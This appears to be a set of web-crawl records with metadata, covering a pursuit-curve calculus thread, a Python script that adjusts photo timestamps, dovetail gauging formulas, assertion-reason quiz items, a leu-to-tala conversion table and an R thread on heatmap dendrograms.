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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8642261,"math_prob":0.99616027,"size":1537,"snap":"2020-45-2020-50","text_gpt3_token_len":336,"char_repetition_ratio":0.14285715,"word_repetition_ratio":0.014652015,"special_character_ratio":0.23357189,"punctuation_ratio":0.094339624,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99970305,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-12-05T18:15:41Z\",\"WARC-Record-ID\":\"<urn:uuid:d7a3ae39-bc44-4de3-8039-76a2ff2acf63>\",\"Content-Length\":\"66115\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:688f7f98-f0a9-4b4a-b520-883a919e266d>\",\"WARC-Concurrent-To\":\"<urn:uuid:52dc9464-b5c1-4c3b-a872-8826e5c01241>\",\"WARC-IP-Address\":\"192.0.78.236\",\"WARC-Target-URI\":\"https://allinonehomeschool.com/key-terms-functions/\",\"WARC-Payload-Digest\":\"sha1:HPYFAJDAZSOQVSC45TYCRAFOCIFOJXUP\",\"WARC-Block-Digest\":\"sha1:W3VS5A2JMYRUJRSZLAV7NTWBZNIS6Q2H\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141748276.94_warc_CC-MAIN-20201205165649-20201205195649-00113.warc.gz\"}"} |
https://math.stackexchange.com/questions/1492187/differential-equation-math-puzzle | [
"Differential Equation Math Puzzle\n\nDog race:\n\nEdit 2:\n\nI posted a possible answer below. However, I am unsure how the authors arrived at the solution.\n\nMaybe someone can offer an explanation.\n\nFour dogs are positioned at the corners of a square ($d= 1m$), chase each other in clockwise direction with the same constant speed . As their target is moving, they will follow a curved path, eventually colliding in the center of the square.",
null,
"(a) Why is the total length of the path just $1 m$?\n\n(b) Find and solve a differential equation for the radius $r(\\theta)$ in polar coordinates.\n\nThis is a homework question! I just want hints, no solutions please.\n\nThe tough part is setting up an equation for the radius i.e for the motion of one of the dogs. I was thinking about an equation similar to that of an archimedean spiral.\n\n$$r(\\theta)=a+b\\theta \\space \\space \\space \\text{or} \\space \\space \\space r(\\theta)=a\\theta^{\\frac{1}{n}}$$\n\nHowever, I have no idea what values $a$ or $b$ should be. Any hints are appreciated.\n\nEdit 1:\n\nThis is my second attempt at a solution:\n\nIf Dog 1 is positioned at $(r, \\theta)$ $\\implies$ Dog 2 is positioned at $(r, \\theta+\\frac{\\pi}{2})$\n\nPicture:",
null,
"$$x_1=r \\cos (\\theta) \\\\ y_1= r \\sin (\\theta) \\\\ \\\\ \\\\ x_2=r \\cos (\\theta+\\frac{\\pi}{2})=-r \\sin(\\theta) \\\\y_2=r \\sin (\\theta+\\frac{\\pi}{2})=r \\cos (\\theta)$$\n\nIf these are the two position vectors then the vector joining the two points is my velocity vector.\n\n$$\\implies \\frac{dy}{dx}=\\frac{y_2-y_1}{x_2-x_1}=\\frac{r \\sin (\\theta+\\frac{\\pi}{2})-r \\sin (\\theta)}{r \\cos (\\theta+\\frac{\\pi}{2})-r \\cos (\\theta)}=\\frac{ \\sin (\\theta+\\frac{\\pi}{2})- \\sin (\\theta)}{ \\cos (\\theta+\\frac{\\pi}{2})- \\cos (\\theta)}=\\frac{\\cos(\\theta)-\\sin(\\theta)}{- \\sin(\\theta)-\\cos(\\theta)}$$\n\nAm I on the right path? But How do I deduce $\\dfrac{dr}{d\\theta}$?\n\n• Your attempt tries to short-circuit the entire problem by giving a finished parameterization of the curve. That's not what (b) asks you to do -- it says you must set up a differential equation for the curve first and solve that. In other words, what you should do first is come up with something that invoves $\\frac{dr}{d\\varphi}$ (where $\\varphi$ is presumably the same as what you call $\\theta$ in your attempt). Oct 22 '15 at 11:24\n• By the way, are the dogs assumed to be pointlike? Real dogs take up space that would be a significant fraction of the one-meter square arena, causing uncertainty in the precise direction each dog is moving in when it \"chases\" the next, and making them collide much before their centers (whatever that is) coincide. Oct 22 '15 at 11:28\n• @Henning Makholm Thanks for your answer. I will try doing that. But at the moment the only thing I can see is that $\\frac{dr}{d\\theta}$ must be negative since the radius is decreasing. I think we can assume that the dogs are pointlike. I will try to find some sort of differential equation and come back if i found/can't find anything.\n– qmd\nOct 22 '15 at 11:31\n• x @SuH: You need to use the information that each dog is moving straight towards the next dog. If you draw a sketch of a typical moment during the race, you ought to see that this is the same as \"the dog's trajectory must make a 45° angle with the radius\", which you ought to be able to work into an expression for $\\frac{dr}{d\\varphi}$. Oct 22 '15 at 11:34\n• Also it looks like you're still trying to do too much too soon. The part about letting the dog continue blindfolded for half the distance doesn't seem to give you any progress -- it's as if you're still trying to bypass the differential equation stage and find the shape of the entire path, instead of just aiming for the differential equation. What you need to ask is: what is the dog's velocity vector now? Not where it will be at some point in the future -- reserve that for after you have a differential equation and have solved that. Oct 22 '15 at 13:38\n\nFor part (a), you don't have to parameterize anything, really, or set up any complicated differential equations. All you have to do is show that, thinking of yourself as one of the dogs, the dog you're chasing is always running at right angles to your line of sight and therefore, since your speed is constant and directed straight at the target, you are getting closer at a constant rate -- in short, as far as the time to overtake it is concerned, the dog you're chasing may as well not be moving at all, which is to say you'll catch it in the time it takes to travel $1$ meter.\n\n• Thanks for your answer. I know you are right (because I have seen the answer) but I have a hard time getting my head around the fact that the total distance a dog has to chase is just 1 meter. It seems to me that the distance could be 1.01 meters or 1.3 meters etc..\n– qmd\nOct 22 '15 at 19:53\n• @SuH, you are quite right that there are concepts here that can be hard to get your head around, but it's well worth making the attempt, because the same kind of reasoning can help in understanding a lot of other problems. Oct 22 '15 at 20:32\n\nHere is a solution for (b):\n\nLet $$t\\mapsto z(t)=r(t)e^{i\\phi(t)}\\qquad(t\\geq0)$$ be the orbit of the dog starting at ${1\\over2}(1+i)$. Then the orbit of the dog starting at ${1\\over2}(-1+i)$ is simply $t\\mapsto iz(t)$. It follows that at any moment the velocity vector $$\\dot z=(\\dot r+i r\\dot\\phi)e^{i\\phi}$$ is parallel to $$iz-z=(-1+i)z=(-1+i)r e^{i\\phi}\\ .$$ This amounts to $$\\dot r+ir\\dot\\phi=\\lambda(-r+ir)\\tag{1}$$ for some $\\lambda>0$ changing with time. Comparing the imaginary parts in $(1)$ we see that in fact $\\lambda=\\dot\\phi>0$, so that from looking at the real parts we obtain $\\dot r=-r\\dot\\phi$, or $${dr\\over d\\phi}={\\dot r\\over\\dot\\phi}=-r\\ .$$ It follows that the function $\\phi\\mapsto r(\\phi)$ satisfies the differential equation $$r'=-r\\ ,$$ with the solutions $r(\\phi)=r_0 e^{-(\\phi-\\phi_0)}$. This implies that we see four logarithmic spirals.\n\n– qmd\nOct 23 '15 at 14:35\n• +1: It's been quite a while since I had anything to do with differential equations (and I didn't like it much), but reading your exposition was delightful. Thanks!\n– A.P.\nOct 28 '15 at 18:12\n\nFirst off: I don't know how to do this problem the way they are asking. But I think I can do this problem my own way. Maybe this will be a hint enough for you to do it the original way.\n\nLet's track the top dog (starts at $(0,1)$). Let its position at time $t$ be $(x(t),y(t))$. By symmetry, the dog it is chasing is at position $$(u(t),v(t)) = (\\frac{x(t) + y(t)}{\\sqrt{2}},\\frac{-x(t) + y(t)}{\\sqrt{2}})$$ which is just the original position rotated by 45 degrees.\n\nThe speed of chase is a constant $s$ but the direction is from $(x(t),y(t))$ to $(u(t),v(t))$ so the velocity vector is $$(\\dot{x}(t),\\dot{y}(t)) = s\\frac{(u(t)-x(t),v(t)-y(t))}{|(u(t)-x(t),v(t)-y(t))|}$$\n\nCan you change to polar coordinantes and take it from there?\n\n• Thanks for your answer. I think I have some sort of idea what to do now. I will post my post my answer if I get somewhere.\n– qmd\nOct 22 '15 at 13:44\n\nThis answer is taken from Calculus 10th Edition by Larson and Edwards\n\nThis is how they derive the differential equation:\n\nIf a dog is located at $(r, \\theta)$ in the first quadrant, then its neighbor is at $(r, \\theta+ \\frac{\\pi}{2})$\n\n$$(x_1,y_1)=(r \\cos\\theta, r \\sin\\theta) \\\\(x_2,y_2)=(-r\\sin\\theta,r\\cos\\theta)$$\n\nThe slope joining these points is\n\n$$\\frac{r\\cos\\theta-r\\sin\\theta}{-r\\sin\\theta-r\\cos\\theta}=\\frac{\\sin\\theta-\\cos\\theta}{\\sin\\theta+\\cos\\theta}=\\text{slope of tangent line at} (r,\\theta)$$\n\n$$\\color{}{\\frac{dy}{dx}=\\frac{\\frac{dy}{dr}}{\\frac{dx}{dr}}=\\frac{\\frac{dr}{d\\theta}\\sin\\theta+r\\cos\\theta}{\\frac{dr}{d\\theta}\\cos\\theta-r\\sin\\theta}=\\frac{\\sin\\theta-\\cos\\theta}{\\sin\\theta+\\cos\\theta}}$$ $$\\color{blue}{\\implies \\frac{dr}{d\\theta}=-r}$$\n\n• They're using chain rule to at first. i.e. $$\\frac{ dx}{d\\theta} \\frac{ dy}{dx} = \\frac{ dy}{d\\theta}$$ and computing the derivatives using $x(\\theta) = r(\\theta) \\cos \\theta$ and $y(\\theta = r(\\theta) \\sin \\theta$.\n– Jeb\nOct 22 '15 at 19:10\n• @Jeb I am sorry but I don't get it. Wouldn't I use the product rule to differentiatie $x(\\theta)$ and $y(\\theta)$? $$\\implies \\frac{dx}{d\\theta}=\\frac{dr}{d\\theta}\\cos\\theta -r\\sin\\theta \\\\ \\frac{dy}{d\\theta}=\\frac{dr}{d\\theta}\\sin\\theta +r\\cos\\theta$$ but how does that equal: $$\\frac{\\sin\\theta-\\cos\\theta}{sin\\theta+\\cos\\theta}$$\n– qmd\nOct 22 '15 at 19:40\n• because the ratio is $\\frac{dy}{dx}$ which is the slope of the tangent line at $(r,\\theta)$, and you've computed that already. Then you can simplify the expression to isolate $\\frac{dr}{d\\theta}$\n– Jeb\nOct 22 '15 at 19:54\n• @Jeb It's getting really late at my place so I will give it a rest for today. I will come back tomorrow and try to complete the problem. Thank you very much for your help.\n– qmd\nOct 22 '15 at 20:24"
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"https://i.stack.imgur.com/8jykU.jpg",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.80720353,"math_prob":0.99856013,"size":1767,"snap":"2022-05-2022-21","text_gpt3_token_len":540,"char_repetition_ratio":0.18264322,"word_repetition_ratio":0.0,"special_character_ratio":0.32767403,"punctuation_ratio":0.08547009,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99998546,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-01-21T14:30:52Z\",\"WARC-Record-ID\":\"<urn:uuid:1188e8cd-4f9c-4563-8f3c-b86b51c87242>\",\"Content-Length\":\"183037\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:27e0b46c-8d9e-4e6f-8b04-5f3482b352d4>\",\"WARC-Concurrent-To\":\"<urn:uuid:e61c8631-2b81-4a4d-a55a-4145c7c5b3f6>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/1492187/differential-equation-math-puzzle\",\"WARC-Payload-Digest\":\"sha1:C7RR5X2MYLYPBPUJGMILUANBOL45LXQ5\",\"WARC-Block-Digest\":\"sha1:6IOYK26IVXIRPDQ4CGZ6RRWYYG46QJ56\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-05/CC-MAIN-2022-05_segments_1642320303385.49_warc_CC-MAIN-20220121131830-20220121161830-00176.warc.gz\"}"} |
https://www.gubatron.com/blog/2007/05/29/how-to-update-file-timestamps-in-python/?replytocom=365 | [
"# How to update file timestamps in Python\n\nSometimes you can be real picky like me about timestamps of files, for example, during my wedding we had a few digital cameras, and one of the cameras had its internal clock 4 hours behind. So what better way for a lazy guy like you to change timestamps than writing a short python script to fix the problem.",
null,
"I wrote this script on the same folder where the pictures with the lagged modification times existed:\n\n```import os\nimport time\nfrom stat import *\n\n#returns a list of all the files on the current directory\nfiles = os.listdir('.')\n\nfor f in files:\n#my folder has some jpegs and raw images\nif f.lower().endswith('jpg') or f.lower().endswith('crw'):\nst = os.stat(f)\natime = st[ST_ATIME] #access time\nmtime = st[ST_MTIME] #modification time\n\nnew_mtime = mtime + (4*3600) #new modification time\n\n#modify the file timestamp\nos.utime(f,(atime,new_mtime))\n```\n\nVery nice, I like\n\nThis site uses Akismet to reduce spam. Learn how your comment data is processed.\n\n1.",
null,
"Joanna Fister\n\nHi!\n\nI am new to Python coding, and I trying to return the time stamps of all files in a certain folder. I was hoping to export these results (filename with corresponding saved time) to excel. Can you please help!!!\n\n•",
null,
"gubatron\n\nHere:\n\n>>> for file in os.listdir(‘.’):\n… print os.stat(file)\n\nposix.stat_result(st_mode=16873, st_ino=556850L, st_dev=234881026L, st_nlink=4, st_uid=501, st_gid=501, st_size=136L, st_atime=1319080694, st_mtime=1303602087, st_ctime=1303602087)\nposix.stat_result(st_mode=16893, st_ino=67639515L, st_dev=234881026L, st_nlink=3, st_uid=501, st_gid=501, st_size=102L, st_atime=1328343414, st_mtime=1309571254, st_ctime=1309571254)\nposix.stat_result(st_mode=16877, st_ino=556852L, st_dev=234881026L, st_nlink=14, st_uid=501, st_gid=501, st_size=476L, st_atime=1328343414, st_mtime=1323729831, st_ctime=1323729831)\nposix.stat_result(st_mode=33152, st_ino=556901L, st_dev=234881026L, st_nlink=1, st_uid=501, st_gid=501, st_size=630L, st_atime=1326851190, st_mtime=1227840558, st_ctime=1299730310)\nposix.stat_result(st_mode=33188, st_ino=556902L, st_dev=234881026L, st_nlink=1, st_uid=501, st_gid=501, st_size=43L, st_atime=1326851190, st_mtime=1227824842, st_ctime=1299730310)\nposix.stat_result(st_mode=16877, st_ino=556824L, st_dev=234881026L, st_nlink=2, st_uid=501, st_gid=501, st_size=68L, st_atime=1328343414, st_mtime=1298518034, st_ctime=1299730268)\nposix.stat_result(st_mode=33188, st_ino=556903L, st_dev=234881026L, st_nlink=1, st_uid=501, st_gid=501, st_size=176L, st_atime=1326851190, st_mtime=1289321134, st_ctime=1299730310)\n\nUsing os.stat(file_path) you will get all the timestamps about the file (access time, modification time,etc)\nyou can then use that output as you please, for example, writing on your excel file.\n\n2.",
null,
"anonymous\n\nThanks! Just what I was looking for!"
] | [
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"https://i1.wp.com/farm1.static.flickr.com/199/510507306_179804ba0b.jpg",
null,
"https://secure.gravatar.com/avatar/ee3ec8a15ba0ec4552e6caed15ef9ae0",
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"https://secure.gravatar.com/avatar/e5e9864b4cfcbecd506ac01761584fe9",
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"https://secure.gravatar.com/avatar/ca32553572aa644c573a75fe115c293e",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5254783,"math_prob":0.9447022,"size":2643,"snap":"2019-51-2020-05","text_gpt3_token_len":841,"char_repetition_ratio":0.16786662,"word_repetition_ratio":0.0,"special_character_ratio":0.40143776,"punctuation_ratio":0.21456693,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.978409,"pos_list":[0,1,2,3,4,5,6,7,8],"im_url_duplicate_count":[null,2,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-22T05:09:27Z\",\"WARC-Record-ID\":\"<urn:uuid:59432a7b-1a2f-45df-9d82-cb1e7de76f39>\",\"Content-Length\":\"27911\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:faa78c76-7742-46fd-a1b5-866a83d323bb>\",\"WARC-Concurrent-To\":\"<urn:uuid:58988853-bfa8-4a2a-a26b-7f6f92a0977f>\",\"WARC-IP-Address\":\"54.146.185.199\",\"WARC-Target-URI\":\"https://www.gubatron.com/blog/2007/05/29/how-to-update-file-timestamps-in-python/?replytocom=365\",\"WARC-Payload-Digest\":\"sha1:QVZGJ7Y75YGJHC5RESFFXD7QDHYWLA6P\",\"WARC-Block-Digest\":\"sha1:COX2GMAAP5GLALWH4ZBNR6MYYQ3N2POF\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579250606696.26_warc_CC-MAIN-20200122042145-20200122071145-00417.warc.gz\"}"} |
https://www.engineersedge.com/mechanical,045tolerances/measuring_and_designing_dovetail_slides_14212.htm | [
"Related Resources: mechanical-tolerances\n\nMeasuring and Designing Dovetail Slides\n\nMeasuring and Designing Dovetail Slides\n\nDovetail slides that must be machined accurately to a given width are commonly gaged by using a gage pin of known diameter and measured as indicated by the dimensions x and y.",
null,
"The gage pin should be small enough so that the point of contact e is somewhat below the corner or edge of the dovetail.\n\nTo obtain dimension x for measuring male dovetails, add 1 to the cotangent of one-half the dovetail angle α, multiply by diameter D of the rods used, and add the product to dimension α.\n\nx = D ( 1 + cot 1/2 α ) + a\n\nc = h · cot α\n\nTo obtain dimension y for measuring a female dovetail, add 1 to the cotangent of one-half the dovetail angle α, multiply by diameter D of the rod used, and subtract the result from dimension b. Expressing these rules as formulas:\n\ny = b - D ( 1 + cot 1/2 α )"
] | [
null,
"https://www.engineersedge.com/mechanical,045tolerances/images/dovetail.png",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8798766,"math_prob":0.9796176,"size":935,"snap":"2022-05-2022-21","text_gpt3_token_len":236,"char_repetition_ratio":0.1471536,"word_repetition_ratio":0.20930232,"special_character_ratio":0.22673796,"punctuation_ratio":0.06629834,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9839281,"pos_list":[0,1,2],"im_url_duplicate_count":[null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-01-27T08:42:11Z\",\"WARC-Record-ID\":\"<urn:uuid:b1d9796f-70eb-44d4-8cb2-841444316a48>\",\"Content-Length\":\"19277\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0559d521-7616-4381-990c-80854c32ecb6>\",\"WARC-Concurrent-To\":\"<urn:uuid:2a1b8a28-7e9f-488d-bb53-3d0e94ccebd9>\",\"WARC-IP-Address\":\"50.28.15.23\",\"WARC-Target-URI\":\"https://www.engineersedge.com/mechanical,045tolerances/measuring_and_designing_dovetail_slides_14212.htm\",\"WARC-Payload-Digest\":\"sha1:5PNYOYVVPUDEFQNXA64UBK7F4Q5BC2AJ\",\"WARC-Block-Digest\":\"sha1:K7XHX7P4LWEQYEPQEAENKKRM2O2FST5X\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-05/CC-MAIN-2022-05_segments_1642320305242.48_warc_CC-MAIN-20220127072916-20220127102916-00097.warc.gz\"}"} |
https://www.examfriend.in/questions-and-answers/Verbal-Reasoning/Assertion-and-Reason/General-questions/0.html | [
"1234>>\n1.\n\nIn the following question, there are two statements labelled as Assertion (A) and Reason (R).\n\nAssertion (A): Ashoka pillars have retained their gloss on their surface.\n\nReason (R) : Moisture laden winds do not blow in the areas where it is located.\n\nA) Both A and R are true and R is the correct explanation of A\n\nB) Both A and, R are true but R is not the correct explanation of A.\n\nC) A is true but R is false.\n\nD) A is false but R is true\n\nE) Both A and R are false\n\n2.\n\nIn the following question, there are two statements labelled as Assertion (A) and Reason (R).\n\nAssertion (A) : Comets belong to the solar system.\n\nReason (R) : All comets come near the sun after regular interval\n\nA) Both A and R are true and R is the correct explanation of A\n\nB) Both A and, R are true but R is not the correct explanation of A.\n\nC) A is true but R is false.\n\nD) A is false but R is true\n\nE) Both A and R are false\n\n3.\n\nIn the following question, there are two statements labelled as Assertion (A) and Reason (R).\n\nAssertion (A) : Forest cutting is undesirable from the point of view of soil erosion.\n\nReason (B) : Cutting of forests reduces the interception of rain water\n\nA) Both A and R are true and R is the correct explanation of A\n\nB) Both A and, R are true but R is not the correct explanation of A.\n\nC) A is true but R is false.\n\nD) A is false but R is true\n\nE) Both A and R are false\n\n4.\n\nIn the following question, there are two statements labelled as Assertion (A) and Reason (R).\n\nAssertion (A) : No food material normally enters the wind pipe during swallowing\n\nReason (R) : when we swallow, the back portion of our tongue covers the opening of the wind pipe.\n\nA) Both A and R are true and R is the correct explanation of A\n\nB) Both A and, R are true but R is not the correct explanation of A.\n\nC) A is true but R is false.\n\nD) A is false but R is true\n\nE) Both A and R are false\n\n5.\n\nIn the following question, there are two statements labelled as Assertion (A) and Reason (R).\n\nAssertion (A) : A salt-water fish drinks sea water whereas a fresh-water fish never drinks water.\n\nReason (R) : A salt-water fish is hypertonic to its environment while a fresh water fish is hypotonic to its environment.\n\nA) Both A and R are true and R is the correct explanation of A\n\nB) Both A and, R are true but R is not the correct explanation of A.\n\nC) A is true but R is false.\n\nD) A is false but R is true\n\nE) Both A and R are false\n\n1234>>"
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9250583,"math_prob":0.9174251,"size":275,"snap":"2021-43-2021-49","text_gpt3_token_len":61,"char_repetition_ratio":0.12915128,"word_repetition_ratio":0.0,"special_character_ratio":0.22909091,"punctuation_ratio":0.13207547,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99718654,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-01T20:43:56Z\",\"WARC-Record-ID\":\"<urn:uuid:8aa8e5ad-322f-4c5b-8191-2d44d69d9ee7>\",\"Content-Length\":\"39759\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4b9ac793-d9eb-4ab1-b238-00ab3dd5cbc8>\",\"WARC-Concurrent-To\":\"<urn:uuid:240c72c1-bc4d-44a5-b543-0affd1791c4c>\",\"WARC-IP-Address\":\"162.222.225.84\",\"WARC-Target-URI\":\"https://www.examfriend.in/questions-and-answers/Verbal-Reasoning/Assertion-and-Reason/General-questions/0.html\",\"WARC-Payload-Digest\":\"sha1:WCDR32VTI73KFL64UOK7VYUBARTCHER5\",\"WARC-Block-Digest\":\"sha1:S45D36UUBA5JOQZHTC6GHXHQLNTOB52L\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964360951.9_warc_CC-MAIN-20211201203843-20211201233843-00598.warc.gz\"}"} |
http://currency7.com/mdl-to-wst-exchange-rate-converter | [
"# Currency Converter · Moldovan Leu (MDL) to Samoan Tālā (WST)\n\nThe currency calculator will convert exchange rate of Moldovan leu (MDL) to Samoan tālā (WST).\n\n• Moldovan leu\nThe Moldovan leu (MDL) is the currency of Moldova. The currency code is MDL and currency symbol is L. The Moldovan leu is subdivided into 100 bani (singular: ban). Plural of leu is lei. Frequently used Moldovan leu coins are in denominations of 1 ban, 5 bani, 10 bani, 25 bani, 50 bani. Frequently used Moldovan leu banknotes are in denominations of 1 leu, 5 lei, 10 lei, 50 lei, 100 lei, 200 lei, 500 lei, 1000 lei.\n• Samoan tālā\nThe Samoan tālā (WST) is the currency of Samoa. The currency code is WST and currency symbol is T, SAT, ST or WS\\$. The Samoan tālā is subdivided into 100 sene. Frequently used Samoan tālā coins are in denominations of WS\\$1, WS\\$2, 10 sene, 20 sene, 50 sene. Frequently used Samoan tālā banknotes are in denominations of WS\\$2, WS\\$5, WS\\$10, WS\\$20, WS\\$50, WS\\$100.\n• 10 MDL = 1.52 WST\n• 50 MDL = 7.61 WST\n• 100 MDL = 15.22 WST\n• 250 MDL = 38.04 WST\n• 500 MDL = 76.08 WST\n• 1,000 MDL = 152.16 WST\n• 2,000 MDL = 304.32 WST\n• 2,500 MDL = 380.40 WST\n• 5,000 MDL = 760.80 WST\n• 10,000 MDL = 1,521.60 WST\n• 20,000 MDL = 3,043.20 WST\n• 50,000 MDL = 7,608.00 WST\n• 100,000 MDL = 15,216.00 WST\n• 250,000 MDL = 38,039.99 WST\n• 500,000 MDL = 76,079.98 WST\n• 1 WST = 6.57 MDL\n• 5 WST = 32.86 MDL\n• 10 WST = 65.72 MDL\n• 20 WST = 131.44 MDL\n• 25 WST = 164.30 MDL\n• 50 WST = 328.60 MDL\n• 100 WST = 657.20 MDL\n• 200 WST = 1,314.41 MDL\n• 250 WST = 1,643.01 MDL\n• 500 WST = 3,286.02 MDL\n• 1,000 WST = 6,572.03 MDL\n• 2,000 WST = 13,144.06 MDL\n• 2,500 WST = 16,430.08 MDL\n• 5,000 WST = 32,860.16 MDL\n• 10,000 WST = 65,720.31 MDL\n\n## Popular MDL pairing\n\n` <a href=\"http://currency7.com/MDL-to-WST-exchange-rate-converter?amount=300\">300 MDL in WST</a> `"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.6985227,"math_prob":0.9944272,"size":2812,"snap":"2023-14-2023-23","text_gpt3_token_len":1101,"char_repetition_ratio":0.25071225,"word_repetition_ratio":0.032258064,"special_character_ratio":0.3901138,"punctuation_ratio":0.16059603,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9594741,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-05T17:39:32Z\",\"WARC-Record-ID\":\"<urn:uuid:b9d2d1f5-eb91-494b-8f2a-2694dea8fd9e>\",\"Content-Length\":\"29180\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:fd7615c3-5dbf-4862-83cb-985f8edd9800>\",\"WARC-Concurrent-To\":\"<urn:uuid:16691c20-72ed-4852-9a69-c2f774840a67>\",\"WARC-IP-Address\":\"70.35.206.41\",\"WARC-Target-URI\":\"http://currency7.com/mdl-to-wst-exchange-rate-converter\",\"WARC-Payload-Digest\":\"sha1:UXRAH3UMNPLCU2GPZ6IDO4BHTXH6XPEA\",\"WARC-Block-Digest\":\"sha1:BSFJJYUS66WZTADUFBBEFD4ZUNLKRYTW\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224652149.61_warc_CC-MAIN-20230605153700-20230605183700-00021.warc.gz\"}"} |
https://stackoverflow.com/questions/38727324/adding-a-dendrogram-to-a-ggplot2-heatmap | [
"# Adding a Dendrogram to a ggplot2 Heatmap\n\nNew R user here. I am trying to add a dendrogram to this heatmap that I created using ggplot2. How can I do that? I have added my code to the heat map below.\n\n``````#Mtcars using ggplots and reshape2\ninstall.packages(\"ggplot2\")\nlibrary(ggplot2)\nintall.packages(\"reshape2\")\nlibrary(reshape2)\ndata(mtcars)\nCars <- mtcars[c(1:7)] #subset to 6 genres\n\ncor(Cars) # 6x6 cor matrix\n\n#ggplot likes the data 'melted' one value per row\nm <-melt(cor(Cars))\np <- ggplot(data=m, aes(x=Var1, y=Var2, fill=value)) + geom_tile()\np\n\n#set up a coloring scheme using colorRampPalette\nred=rgb(1,0,0); green=rgb(0,1,0); blue=rgb(0,0,1); black=rgb(0,0,0)\nRtoBrange<-colorRampPalette(c(red, black ) )\nBtoGrange<-colorRampPalette(c(black, green) )\n\np <- p + scale_fill_gradient2(low=RtoBrange(100), mid=\"black\", high=BtoGrange(100))\np\n``````\n\nCharlotte\n\n• Maybe the `ggdendro` package would help you with that? Aug 2, 2016 at 17:57\n• There's a great example here using `ggdendro` and `plotly` Aug 2, 2016 at 22:46\n• @MattSandgren I encourage you to look at dendextend. It has a fork for creating dendrograms with ggplot2 which preserve graphical parameters such as the color and line width of the tree. See here: cran.r-project.org/web/packages/dendextend/vignettes/… Aug 4, 2016 at 6:32\n\nUse the `heatmap.2` function in the `gplots` package (https://cran.r-project.org/web/packages/gplots/gplots.pdf), which automatically adds a dendrogram to your heatmap. Using your example:\n\n``````install.packages(\"gplots\")\nlibrary(gplots)\n\ndata(mtcars)\nCars <- mtcars[c(1:7)]\n\nmycolors <- colorRampPalette(c(\"red\", \"black\", \"green\"))\nheatmap.2(cor(Cars), trace = \"none\", col = mycolors)\n``````\n\nThis is a bit tricky since not all the pieces are fully ready, but it is the aim of the work I started in heatmaply to get to this point. If you are interested in this in order to work with plotly to create interactive heatmaps with dendrogram, than you should look at the heatmaply vignette.\n\nIf you are interested in a static heatmap I believe that existing packages are already doing a great job, so it is probably not worth it to reinvent this wheel. But if this is still what you want to do, here are the main steps for it:\n\n1. produce the dendrogram object\n2. plot the dendrogram object in ggplot2\n3. create the heatmap in a way that would respect the order of rows (or columns from the dendrogram\n4. merge the objects.\n\nStep 1 can use `hclust` and `as.dendrogram`, step 2 requires the `[as.ggdend]` function from dendextend. Step 3 can be done using heatmaply::heatmapr + heatmaply:::ggplot_heatmap (which is currently hidden, but will be exposed in the future for this type of thing). Step 4 is tricky, I couldn't get it to work \"well enough\" so far in that the proportions of the elements are not good.\n\nI wrapped this into a new ggheatmap function and just uploaded it to heatmaply on github. But this needs more work, so I'm open to pull requests. In the meantime, here is how to do it:\n\n``````devtools::install_github(\"ropensci/plotly\") # you will probably benefit from the latest version of plotly\ndevtools::install_github('talgalili/heatmaply')\n\nlibrary(heatmaply)\nx <- heatmapr(iris[,-5], scale = \"column\", colors = \"Blues\")\nggheatmap(x)\n``````\n\nThe output looks like this:",
null,
